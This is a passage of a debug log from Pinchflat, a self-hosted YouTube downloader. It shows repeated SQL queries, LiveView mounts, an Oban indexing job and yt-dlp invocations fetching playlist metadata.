short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 23:14:51.531 [debug] Replied in 820µs 23:14:51.531 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "downloaded", "source_id" => 3} 23:14:51.531 [debug] QUERY OK source="sources" db=0.0ms idle=265.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:51.531 [debug] QUERY OK source="media_items" db=0.0ms idle=265.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 23:14:51.531 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 23:14:51.531 [debug] Replied in 472µs 23:14:51.531 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "other", "source_id" => 3} 23:14:51.532 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:51.532 [debug] QUERY OK source="media_items" db=0.0ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [3] 23:14:51.532 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [3, 10, 0] 23:14:51.532 [debug] Replied in 475µs 23:14:51.532 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 23:14:51.532 [debug] Replied in 23µs 23:14:51.842 [info] {"args":{"id":3},"id":118,"meta":{},"system_time":1774667691842550232,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 23:14:51.843 [debug] QUERY OK source="sources" db=0.2ms idle=310.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:51.843 [debug] QUERY OK source="settings" db=0.1ms idle=311.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.845 [debug] QUERY OK source="media_items" db=0.3ms queue=0.4ms idle=312.0ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 23:14:51.845 [debug] QUERY OK source="media_items" db=0.1ms queue=0.2ms idle=10.3ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 23:14:51.845 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:14:51.846 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.846 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.847 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 23:14:51.848 [debug] Current batch of media processed. Will check again in 1000ms 23:14:51.848 [debug] QUERY OK source="settings" db=0.3ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.848 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.848 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:51.849 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Custom Downloads/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/63/2d/632dfd72d4a58e1b51be0f7c65952e266843ecbf8655556ca7b90dccbdf600b2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:14:52.848 [debug] Current batch of media processed. Will check again in 1000ms 23:14:53.470 [info] GET / 23:14:53.470 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:14:53.470 [debug] QUERY OK source="settings" db=0.0ms idle=1623.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:53.470 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1622.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:14:53.470 [debug] QUERY OK source="sources" db=0.0ms idle=1622.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:14:53.471 [debug] QUERY OK source="media_items" db=0.1ms idle=1622.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:14:53.471 [debug] QUERY OK source="media_items" db=0.0ms idle=634.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:14:53.471 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:53.471 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:53.471 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:14:53.471 [debug] QUERY OK source="tasks" db=0.1ms idle=0.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:14:53.472 [debug] QUERY OK source="sources" db=0.0ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:53.472 [debug] QUERY OK source="media_items" db=0.0ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:14:53.472 [debug] QUERY OK source="media_items" db=0.2ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:14:53.473 [debug] QUERY OK source="sources" db=0.1ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:14:53.473 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:14:53.474 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:14:53.474 [info] Sent 200 in 4ms 23:14:53.654 [info] CONNECTED TO Phoenix.LiveView.Socket in 18µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "FRY2CyMgMjkUHQkHBTwEMDMlDDYXdT8iZ_libSapSrcIltMbiT8be1Yg", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:14:53.682 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "downloaded"} 23:14:53.683 [debug] QUERY OK source="media_items" db=0.2ms idle=210.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:14:53.684 [debug] QUERY OK source="media_items" db=0.5ms idle=210.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:14:53.685 [debug] QUERY OK source="sources" db=0.2ms idle=211.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:14:53.685 [debug] Replied in 2ms 23:14:53.686 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "pending"} 23:14:53.686 [debug] QUERY OK source="media_items" db=0.2ms idle=212.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:14:53.686 [debug] QUERY OK source="media_items" db=0.2ms idle=212.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:14:53.686 [debug] Replied in 651µs 23:14:53.686 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 23:14:53.687 [debug] QUERY OK source="tasks" db=0.0ms idle=3.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:14:53.687 [debug] QUERY OK source="sources" db=0.0ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:14:53.687 [debug] Replied in 382µs 23:14:53.687 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 23:14:53.687 [debug] Replied in 28µs 23:14:53.793 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLzhSvLOshFOjXpzZlHi6R5DrSjlvPopwj --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --output /downloads/Custom Downloads/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/77/40/7740969419afaac69fee706ec1360cc6101b8bfacc77c0d553bbea7443e753db.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:14:53.793 [debug] Running yt-dlp command for action: get_source_metadata 23:14:53.793 [debug] QUERY OK source="settings" db=0.0ms idle=108.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 